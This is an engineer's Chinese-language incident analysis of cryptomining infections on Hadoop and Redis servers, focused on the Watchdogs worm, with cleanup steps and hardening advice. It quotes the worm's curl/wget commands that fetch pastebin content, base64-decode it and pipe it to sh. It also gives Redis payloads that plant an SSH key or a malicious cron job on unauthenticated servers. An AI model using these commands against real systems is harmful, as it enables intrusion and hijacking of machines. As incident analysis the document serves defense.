hadoop病毒案例分析

京东云和公司集群分别遇到过一次挖矿脚本，经过分析，发现两次挖矿事件有所不同，在这篇文档记录下两次挖矿事件的异同、总结和反思。

第二次事件分析

我遇到的两次挖矿事件分别是由于Hadoop Yarn REST API未授权漏洞和Redis未授权访问漏洞这两种常见的配置问题引发的。

目前可以确定的是，第二次遇到的是Watchdogs蠕虫，这种蠕虫病毒第一次发现是2019年2月20日，阿里云安全监测到一起大规模挖矿事件，判断为Watchdogs蠕虫导致，该蠕虫短时间内即造成大量Linux主机沦陷，一方面是利用Redis未授权访问和弱密码这两种常见的配置问题进行传播，另一方面从known_hosts文件读取ip列表，用于登录信任该主机的其他主机。这两种传播手段都不是第一次用于蠕虫，但结合在一起爆发出巨大的威力。

蠕虫感染路径如下图：

蠕虫传播方式：

攻击者首先扫描存在未授权访问或弱密码的Redis，并控制相应主机去请求以下地址：

1	https://pastebin.com/raw/sByq0rym

该地址包含的命令是请求、base64解码并执行另一个url地址的内容：

1	(curl -fsSL https://pastebin.com/raw/D8E71JBJ\|\|wget -q -O- https://pastebin.com/raw/D8E71JBJ)\|base64 -d\|sh

而https://pastebin.com/raw/D8E71JBJ 的内容解码后为一个bash脚本，脚本中又包含下载恶意程序Watchdogs的指令。

1	(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs\|\|wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs

如上图所示，本次蠕虫的横向传播分为两块。

一是Bash脚本包含的如下内容，会直接读取主机上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件，用于登录信任当前主机的机器，并控制这些机器执行恶意指令。

二是Bash脚本下载的Watchdogs程序，通过对Redis的未授权访问和爆破、以及对SSH的爆破，进行横向传播。

具体为表现为，Watchdogs程序的Bbgo()函数中，首先获取要攻击的ip列表，随后尝试登录其他主机的ssh服务，一旦登录成功则执行恶意脚本下载命令。在Ago()函数中，则表现为针对其他主机Redis的扫描和攻击。

恶意Bash脚本

除了下载Watchdogs程序和横向传播外，Bash脚本还具有以下几项功能。

将下载自身的指令添加到crontab定时任务里面，定时执行。
杀死同类的挖矿僵尸木马进程。
杀死CPU占用大于80%的进程

bash脚本的功能也很很常见，一般来说挖矿程序几乎都有这样的功能。

Watchdogs程序为elf可执行文件，由go语言编译，其主要函数结构如下所示：

1.LibiosetWrite()

该函数主要执行libioset.so文件的写入

2.Cron()

将恶意下载命令添加到/etc/cron.d/root等多个文件中，定时执行，加大清理难度

3.KsoftirqdsWriteRun()

解压并写入挖矿程序及其配置文件

Bbgo()和Ago()函数的功能在“蠕虫传播方式”一节已有介绍，此处不再赘述。

综上，Watchdogs程序在Bash脚本执行的基础上，将进一步进行挖矿程序的释放和执行、恶意so文件写入以及剩余的横向传播。

libioset.so分析

如图是libioset.so的导出函数表，包括unlink, rmdir, readdir等。

这里以执行rm命令必须调用的unlink()函数为例。

它只对不包含”ksoftirqds”、”ld.so.preload”、”libioset.so”这几个字符串的文件调用正常的unlink()，导致几个文件无法被正常删除。

其他几个命令，如readdir也是类似，无法正常返回关于恶意程序的结果。

而fopen函数更是变本加厉，由于系统查询cpu使用情况和端口占用情况时，都会调用fopen，于是攻击者hook了这一函数，使其在读取'/proc/stat'和'/proc/net/tcp'等文件时，调用伪造函数。

其中forge_proc_cpu()函数，将返回硬编码的字符串

这种对查看系统状态功能的恶意hook，导致用户难以通过简单自查，确定挖矿是否存在以及挖矿进程是哪个。

“许多黑客模仿我的代码”——数据库蠕虫趋势统计

此次的Watchdogs挖矿蠕虫与18年出现的kworkerd蠕虫出自同一位作者（关于kworkerd挖矿僵尸网络参见《2018年云上挖矿分析报告》），因为它们使用了相同的钱包地址和相似的攻击手法。此外作者在恶意脚本末尾的注释也印证了这点：

#1.If you crack my program, please don’t reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)…

这段注释同时也揭露了一个事实，“许多黑客模仿我的代码”——当一个攻击者采取了某种攻击手法并取得成功，其他攻击者会纷纷模仿，很快将该手段加入自己的“攻击大礼包”。

这种模仿的结果是，据阿里云安全不完全统计，利用Redis未授权访问等问题进行攻击的蠕虫，数量已从2018年中的一个，上涨到如今的40余个，其中不乏DDG、8220这样臭名昭著的挖矿团伙。此外大部分近期新出现的蠕虫，都会加上Redis利用模块，因为实践证明互联网上错误配置的Redis数据库数量庞大，能从其中分一杯羹，攻击者的盈利就能有很大的提升。

因而如果不保护好Redis，用户面临的将不是一个蠕虫，而是40余个蠕虫此起彼伏的攻击。

下图所示为近半年来，针对Redis的攻击流量和目标机器数量趋势，从中不难看出Redis攻击逐渐被各大僵尸网络采用，并在2018年10月11月保持非常高的攻击量；而后在经历了3个月左右的沉寂期后，在今年2月再次爆发。

而Redis本身遭受攻击的主流方法也经过了三个阶段

1.攻击者对存在未授权访问的Redis服务器写入ssh key，从而可以畅通无阻登录ssh服务

具体为执行以下payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save

其中【sshkey】表示攻击者的密钥

2.攻击者对存在未授权访问的Redis服务器写入crontab文件，定时执行恶意操作

具体为执行以下payload

config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save

3.以上两个阶段中仅对Redis完全没有验证即可访问的情况，第三个阶段则开始针对设置了密码验证，但密码较弱的Redis进行攻击，受害范围进一步扩大。

然而Redis并不是唯一一个受到黑客“青眼”的数据库。如下表所示，SQL Server, Mysql, Mongodb这些常用数据库的安全问题，也被多个挖矿僵尸网络所利用；利用方式集中在未授权访问、密码爆破和漏洞利用。

处理办法

1.首先停止cron服务，避免因其不断执行而导致恶意文件反复下载执行。

如果操作系统可以使用service命令，则执行

1	service crond stop

如果没有service命令，执行

1	/etc/init.d/cron stop

2.随后使用busybox删除以下两个so文件：

1
2
3

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig

busybox是一个小巧的unix工具集，许多Linux系统装机时已集成。使用它进行删除是因为系统自带的rm命令需要进行动态so库调用，而so库被恶意hook了，无法进行正常删除；而busybox的rm是静态编译的，无需调用so文件，所以不受影响。

3.清理恶意进程

1 2	sudo kill -9 `ps -ef\|grep Watchdogs\|grep -v grep \|awk '{print $2}'` sudo kill -9 `ps -ef\|grep ksoftirqds\|grep -v grep \|awk '{print $2}'`

4.清理cron相关文件，重启服务，具体为检查以下文件并清除其中的恶意指令：

1
2
3

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root

之后执行

1	service crond start

或者

1	/etc/init.d/cron start

如果执行了以上操作任然发现有挖矿程序在运行的话，基本可以判断为机器上任然有病毒程序没有删除干净，对症下药即可。

来自阿里云的安全建议

数字加密货币的获取依赖计算资源的特质，催生了黑客进行大规模入侵的动机和土壤；类似Watchdogs蠕虫这样的数据库入侵事件，不是第一起，也不会是最后一起。阿里云作为“编写时即考虑安全性”的平台，提供良好的安全基础设施和丰富的安全产品，帮助用户抵御挖矿和入侵，同时提供以下安全建议：

在入侵发生之前，加强数据库服务的密码，尽量不将数据库服务开放在互联网上，或根据实际情况进行访问控制（ACL）。这些措施能够帮助有效预防挖矿、勒索等攻击。平时还要注意备份资料，重视安全产品告警。
如果怀疑主机已被入侵挖矿，对于自身懂安全的用户，在攻击者手段较简单的情况下，可以通过自查cpu使用情况、运行进程、定时任务等方式，锁定入侵源头。
针对云上的环境，对于攻击者采用较多隐藏手段的攻击（如本次的Watchdogs蠕虫，使ps、top等系统命令失效），建议使用阿里云安全的下一代云防火墙产品，其阻断恶意外联、能够配置智能策略的功能，能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明，下载、挖矿、反弹shell这些操作，都需要进行恶意外联；云防火墙的拦截将彻底阻断攻击链。此外，用户还可以通过自定义策略，直接屏蔽pastebin.com、thrysi.com等广泛被挖矿蠕虫利用的网站，达到阻断入侵的目的。

如图是云防火墙帮助用户拦截此次Watchdogs蠕虫下载的例子，图中共拦截23次对pastebin.com的请求；这些拦截导致主机未下载恶意脚本，从而就不会发起对thrysi.com的请求，故规则命中次数为0。

对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。入侵事件发生后，也可介入直接协助入侵后的清理、事件溯源等，适合有较高安全需求的用户，或未雇佣安全工程师，但希望保障系统安全的企业。

第一次事件分析

以上记录的是第二次的挖矿事件，两次挖矿事件有一些区别，第一次hadoop集群上遇到的挖矿事件，被利用的漏洞是yarn提交的漏洞，整个感染流程如下：

第二次遇到的漏洞是redis上的漏洞，第二次的挖矿事件更为复杂，简单的Linux命令已经被病毒屏蔽，需要更为复杂的操作才能发现问题的根源。第一次挖矿事件和第二次挖矿事件有一点不同就是第一次的挖矿事件中，在删除crontab命令，删除挖矿脚本之后，仍然出现挖矿操作，通过分析、思考挖矿的逻辑，说明在crontab之前应该还有一层在控制进程，通过分析status之后，果然发现有好几个异常连接，分别是指向荷兰和美国，在iptables里面把这些ip屏蔽掉之后就解决了问题。

同时这边提供应急解决思路，如果急需使用集群的话，可以根据这些挖矿病毒的特点——CPU高占用，写一个定期删除CPU占用超过95进程的脚本，同样用Crontab定期执行

#!/bin/sh

NAME=$1
echo $NAME
#ID=`ps -ef | grep "$NAME" | grep -v "$0" | grep -v "grep" | awk '{print $2}'`
CPU=`ps -aux | grep kworker | sort -rn -k +3 | head -1 | awk {'print $3'} | awk -F. '{print $1}'`
ID=`ps -aux | grep kworker  | sort -rn -k +3 | head -1 | awk {'print $2'}`
echo $CPU
echo $ID
echo "---------------"
sleep 1s
if [ $CPU -ge 95 ]; then
   echo "killed $ID"
   kill -9 $ID
fi

然后crontab -e执行定时任务每分钟执行该脚本

crontab -e

1	* * * * * /etc/init.d/killprocess.sh

币圈多少也涉及一点，之前BTC劫持软件劫持下来的BTC所在地址根本没动，确实这个钱没有办法提现，应该时刻都被监控着。所以这次接触的挖矿脚本涉及的都是带匿名属性的数字货币。区块链在17 18年刮起的一阵风暴不知道还有没有后续了。

最后附上阿里云2019年1月发布的云上挖矿分析报告（双击打开）。

阿里云上挖矿分析报告